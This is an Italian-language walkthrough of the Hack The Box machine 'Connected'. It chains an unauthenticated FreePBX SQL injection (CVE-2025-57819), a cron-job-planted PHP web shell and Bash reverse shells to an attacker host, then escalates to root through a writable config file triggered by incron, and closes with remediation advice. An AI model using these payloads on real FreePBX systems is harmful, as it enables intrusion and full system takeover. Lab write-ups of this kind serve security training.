
Questo walkthrough documenta il compromesso completo della macchina HTB Connected.
Questo walkthrough documenta il compromesso completo della macchina HTB Connected.
La catena di attacco inizia con una vulnerabilità di SQL injection non autenticata in FreePBX, che viene sfruttata per ottenere l'esecuzione di codice come utente asterisk tramite un job cron appositamente creato. Un file di configurazione scrivibile combinato con un trigger incron consente quindi l'escalation dei privilegi a root.
Questo caso dimostra come le vulnerabilità delle applicazioni web, se combinate con permessi locali deboli e automazione privilegiata insicura, possano portare al compromesso completo del sistema.
Una rapida scansione delle porte rivela le porte aperte del target:
nmap -T5 --open <MACHINE_IP>
| Porta | Servizio |
|---|---|
| 22 | SSH |
| 80 | HTTP |
| 443 | HTTPS |
Un'ispezione più approfondita mostra un server Apache che esegue PHP 7.4, con un reindirizzamento HTTP verso:
http://connected.htb/
Per accedere correttamente al sito, aggiungi la mappatura del virtual host:
echo "<MACHINE_IP> connected.htb" | sudo tee -a /etc/hosts
Navigando su http://connected.htb/ si rivela:
FreePBX 16.0.40.7
La ricerca identifica CVE-2025-57819, una vulnerabilità di SQL injection basata su errori non autenticata nel componente Endpoint Manager di FreePBX.
Conferma la vulnerabilità estraendo l'utente del database:
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',(SELECT USER()),'~'))--+"
La risposta contiene:
~USER:freepbxuser@localhost~
Questo conferma che la SQL injection funziona e che l'applicazione si connette a MySQL come:
freepbxuser@localhost
FreePBX memorizza i job pianificati nella tabella cron_jobs.
Iniettando una voce dannosa in questa tabella, è possibile pianificare l'esecuzione di comandi arbitrari.
Il seguente payload crea una web shell PHP nella root web:
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','wt-shell3','echo \"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==\"|base64 -d >/var/www/html/c1sco.php',NULL,'* * * * *',30,1,1)-- "
Il server restituisce un errore generico 500, ma l'istruzione SQL viene eseguita con successo.
Dopo circa un minuto, verifica che la web shell sia stata creata:
curl -ik "https://connected.htb/c1sco.php?cmd=id"
Output:
uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)
Ora abbiamo l'esecuzione di comandi come utente asterisk tramite richieste HTTP.
Avvia un listener Netcat sulla macchina attaccante:
nc -lvnp 4444
Attiva una reverse shell Bash tramite la web shell:
curl -ik "https://connected.htb/c1sco.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<ATTACKER_IP>/4444+0>%261'"
Viene stabilita una connessione:
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=999(asterisk) gid=1000(asterisk)
Ora abbiamo una shell interattiva come utente asterisk.
Cerca file scrivibili sotto /etc, escludendo i falsi positivi noti:
find /etc -writable 2>/dev/null | grep -v "/etc/wanpipe\|/etc/asterisk\|/etc/schmooze" | head -20
Un risultato notevole è:
/etc/dahdi/init.conf
Successivamente, esamina la configurazione incron:
cat /etc/incron.d/*
Questo rivela il seguente watcher del filesystem:
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
Ciò significa che ogni volta che il file sentinella:
/var/spool/asterisk/sysadmin/dahdi_restart
viene scritto, viene eseguito il seguente script:
/usr/sbin/sysadmin_dahdi_restart
Ispezionando lo script si rivela che esso carica (source):
/etc/dahdi/init.conf
Poiché /etc/dahdi/init.conf è scrivibile dall'utente asterisk e viene caricato da un processo root, fornisce un percorso per l'esecuzione di comandi arbitrari come root.
Avvia un secondo listener Netcat sulla porta 4445:
nc -lvnp 4445
Dalla shell asterisk, aggiungi un payload di reverse shell al file di configurazione scrivibile:
echo 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4445 0>&1" &' >> /etc/dahdi/init.conf
Attiva l'azione incron scrivendo nel file monitorato:
echo "restart" > /var/spool/asterisk/sysadmin/dahdi_restart
In pochi secondi, la shell root si connette:
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=0(root) gid=0(root) groups=0(root)
🎯 Accesso root completo ottenuto!
cat /home/asterisk/user.txt
Output:
HTB{...user_flag...}
cat /root/root.txt
Output:
HTB{...root_flag...}
SQL Injection Non Autenticata
│
▼
Esecuzione Query MySQL
│
▼
Inserimento Job Cron Dannoso
│
▼
Web Shell PHP
│
▼
Shell asterisk
│
▼
/etc/dahdi/init.conf Scrivibile
│
▼
Trigger incron
│
▼
Esecuzione Comandi Root
│
▼
root
| Vulnerabilità | Impatto |
|---|---|
| SQL Injection Non Autenticata | Ha esposto il contesto dell'utente del database e ha fornito un punto d'appoggio per scrivere dati dannosi |
| Iniezione di Job Cron | Ha consentito l'esecuzione remota di codice come account di servizio a bassi privilegi |
Utilizza query parametrizzate e una rigorosa convalida dell'input per tutte le operazioni sul database.
Non concatenare mai input controllato dall'utente direttamente nelle query SQL.
I file di configurazione consumati dai servizi privilegiati non dovrebbero essere scrivibili da account di servizio a bassi privilegi.
In particolare, rivedi i permessi sui file sotto:
/etc/
Controlla regolarmente le attività pianificate e i watcher del filesystem.
I job privilegiati non dovrebbero eseguire comandi basati su file che utenti non fidati possono modificare.
Gli script di proprietà di root dovrebbero evitare di caricare file di configurazione che possono essere modificati da utenti non privilegiati.
Le applicazioni e i servizi web dovrebbero essere eseguiti con i permessi minimi richiesti per il loro funzionamento.
Ridurre i privilegi dell'ambiente FreePBX/Apache può limitare significativamente l'impatto di un compromesso applicativo riuscito.
CVE-2025-57819
│
▼
SQL Injection Non Autenticata
│
▼
Manipolazione della Tabella cron_jobs
│
▼
Web Shell PHP Pianificata
│
▼
Utente asterisk
│
▼
/etc/dahdi/init.conf Scrivibile
│
▼
Watcher File incron
│
▼
Script DAHDI Privilegiato
│
▼
Shell Root
│
▼
🏆 Compromesso Completo del Sistema
Disclaimer: Questo write-up è inteso a scopo educativo e per test di sicurezza autorizzati, come i laboratori Hack The Box e ambienti controllati.
| File di Configurazione Scrivibile + incron | Ha consentito l'escalation diretta dei privilegi a root |
| Script Privilegiato che Carica File Scrivibile dall'Utente | Ha consentito l'esecuzione di comandi arbitrari con privilegi di root |